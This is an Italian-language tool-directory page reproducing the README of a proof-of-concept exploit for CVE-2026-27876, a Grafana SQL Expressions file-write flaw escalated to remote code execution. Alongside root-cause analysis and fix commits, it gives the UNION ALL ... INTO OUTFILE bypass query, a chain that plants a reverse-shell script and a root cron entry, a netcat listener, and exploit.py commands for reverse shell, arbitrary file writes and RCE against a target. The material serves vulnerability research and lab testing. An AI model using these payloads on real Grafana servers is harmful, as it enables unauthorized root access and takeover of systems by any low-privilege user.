Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-27876 — Grafana SQL Expressions Scrittura Arbitraria di File a RCE | Kitploit
Strumenti/GitHubGitHub/atiilla/cve-2026-27876
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed Teaming
GitHubatiilla/cve-2026-27876

CVE-2026-27876

Grafana SQL Expressions Scrittura Arbitraria di File a RCE

Vedi Repository
0 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-27876: Scrittura Arbitraria di File nelle SQL Expressions di Grafana fino a RCE

CVSS 9.1 Critico | Scrittura Arbitraria di File | Esecuzione di Codice Remota

Demo

https://github.com/user-attachments/assets/c84a4b63-7928-4dba-a069-3bafa036ce56

Riepilogo

La funzionalità SQL Expressions di Grafana (toggle sqlExpressions) utilizza un motore SQL in-process (dolthub/go-mysql-server) con una allowlist AST difettosa. Il nodo SetOp (UNION ALL) supera la validazione e il suo walkSubtree() non attraversa il figlio Into — consentendo a INTO OUTFILE di scrivere file arbitrari sul filesystem del server come utente del processo Grafana.

Qualsiasi utente autenticato (ruolo Viewer o superiore) può concatenare questo difetto fino a una RCE completa tramite reverse shell basata su cron.

Scarica lo strumento

Versioni Interessate

IntervalloInteressateCorretta
11.6.x11.6.0 – 11.6.1311.6.14
12.0.x – 12.1.x12.0.0 – 12.1.912.1.10
12.2.x12.2.0 – 12.2.712.2.8
12.3.x12.3.0 – 12.3.512.3.6
12.4.x12.4.0 – 12.4.112.4.2

Richiede che il toggle della funzionalità sqlExpressions sia abilitato.

Causa Principale

Due difetti combinati in pkg/expr/sql/:

  1. parser_allow.go: allowedNode() utilizza un return nominato b = true. Il caso *sqlparser.SetOp restituisce true (consentito), e SetOp.walkSubtree() NON attraversa il nodo figlio Into. Ciò significa che UNION ALL ... INTO OUTFILE bypassa completamente l'allowlist.

  2. db.go: Il contesto del motore SQL viene creato senza WithDisableFileWrites(true), quindi INTO OUTFILE scrive su disco.

Sintassi di Bypass

root@kitploit:~
(SELECT 'line1') UNION ALL (SELECT 'line2') INTO OUTFILE '/percorso/destinazione'

Un singolo (SELECT ...) INTO OUTFILE produce un nodo ParenSelect che VIENE bloccato. Due o più parti SELECT unite con UNION ALL producono un nodo SetOp che bypassa il controllo.

Catena di Exploit

root@kitploit:~
1. Autenticazione (il ruolo Viewer è sufficiente)
2. POST /api/ds/query con datasource __expr__, tipo "sql"
3. UNION ALL INTO OUTFILE scrive lo script della reverse shell in /tmp/
4. Una seconda scrittura inserisce la voce cron in /etc/crontabs/root
5. Cron scatta entro 60 secondi -> reverse shell come root

Utilizzo

Configurazione del Laboratorio

root@kitploit:~
cd lab/
docker compose up -d
# Attendere che Grafana sia healthy (~15s)

Grafana è in esecuzione su http://localhost:3333 con credenziali admin:admin.

Eseguire l'Exploit

Terminale 1 — Listener:

root@kitploit:~
nc -lvnp 4444

Terminale 2 — Exploit:

root@kitploit:~
cd poc/
python3 exploit.py -t http://localhost:3333 --revshell --lhost 172.28.0.1 --lport 4444

La reverse shell arriva entro 60 secondi.

Altre Modalità

root@kitploit:~
# Verifica se il target è vulnerabile (nessuna scrittura)
python3 exploit.py -t http://TARGET:3000 --check

# Scrittura di un file arbitrario
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-content "hello"

# Scrittura di un file locale sul target
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-file ./local.txt

# RCE tramite provisioning del datasource (nessun cron necessario)
python3 exploit.py -t http://TARGET:3000 --rce

Pulizia

root@kitploit:~
docker exec grafana-cve-2026-27876 rm -f /etc/crontabs/root /tmp/.grafana_rce_*.sh

Per rieseguire l'exploit dopo un'esecuzione precedente, pulire prima — INTO OUTFILE non può sovrascrivere file esistenti.

Correzione

Commit 0e5d9e01ef31f072fd41626cd744699374e70127 (PR #121514):

  1. parser_allow.go: case *sqlparser.SetOp: return v.GetInto() == nil
  2. parser_allow.go: case *sqlparser.Into: return v == nil
  3. db.go: mysql.WithDisableFileWrites(true)

File

root@kitploit:~
.
├── README.md
├── analysis.md              # Analisi completa della causa principale
├── lab/
│   ├── docker-compose.yml   # Laboratorio Grafana 12.4.0 (confermato)
│   ├── Dockerfile           # Immagine personalizzata con supporto cron
│   ├── entrypoint.sh        # Avvia crond + Grafana
│   └── setup.sh             # Script di configurazione automatica
└── poc/
    ├── exploit.py           # PoC completo con RCE
    └── cvss-justification.md

Riferimenti

  • Fix: https://github.com/grafana/grafana/commit/0e5d9e01ef31f072fd41626cd744699374e70127
  • PR: https://github.com/grafana/grafana/pull/121514
  • Advisory: https://grafana.com/security/security-advisories/cve-2026-27876/

Disclaimer

Solo per ricerca sulla sicurezza autorizzata e test di laboratorio controllati. Non utilizzare contro sistemi senza autorizzazione esplicita.